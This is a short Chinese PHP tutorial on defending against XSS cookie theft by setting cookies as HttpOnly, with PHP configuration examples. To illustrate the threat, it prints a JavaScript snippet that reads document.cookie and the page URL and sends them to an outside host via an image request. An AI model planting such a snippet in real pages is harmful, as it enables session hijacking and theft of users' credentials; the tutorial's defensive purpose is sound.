手机
当前位置:查字典教程网 >编程开发 >php教程 >xss防御之php利用httponly防xss攻击
xss防御之php利用httponly防xss攻击
摘要:xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取co...

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。

如下js获取cookie信息:

复制代码 代码如下:

url=document.top.location.href;

cookie=document.cookie;

c=new Image();

c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;

一般cookie都是从document对象中获取的,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了。

PHP设置HttpOnly:

复制代码 代码如下:

//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性

ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true

session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

对于PHP5.1以前版本的PHP通过:

复制代码 代码如下:

header("Set-Cookie: hidden=value; httpOnly");

最后,HttpOnly不是万能的!

【xss防御之php利用httponly防xss攻击】相关文章:

聊天室php&mysql(五)

如何利用php+mysql保存和输出文件

php中的时间处理

提升PHP执行速度全攻略

PHP遍历数组的方法汇总

PHP环境搭建最新方法

新浪新闻小偷

无数据库的详细域名查询程序PHP版(5)

Zend引擎的发展 [15]

PHP中is_dir()函数使用指南

精品推荐
分类导航